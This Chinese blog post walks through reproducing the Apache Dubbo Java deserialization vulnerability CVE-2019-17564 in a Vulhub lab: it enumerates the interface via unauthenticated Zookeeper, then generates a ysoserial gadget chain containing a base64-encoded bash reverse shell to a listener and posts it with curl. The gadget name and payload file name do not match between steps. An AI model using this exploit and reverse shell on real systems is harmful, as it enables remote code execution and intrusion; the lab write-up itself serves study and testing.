Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)
Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)
漏洞描述
Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
这个漏洞影响Apache Dubbo 2.7.4及以前版本,2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter
环境搭建
cd vulhub/dubbo/CVE-2019-17564
docker-compose up -d
服务启动后,访问http://10.10.10.10:8080,服务器默认会返回500错误。
漏洞复现
利用该漏洞需要先知道目标RPC接口名,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞,那么就可以在其中找到接口的名称与地址。
Vulhub对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,外面本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器,切换到bin目录,使用zkCli.sh 脚本
./zkCli.sh -server 10.10.10.10:2181
连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:
获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://10.10.10.10:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:
反弹bash
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService
反弹shell成功!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?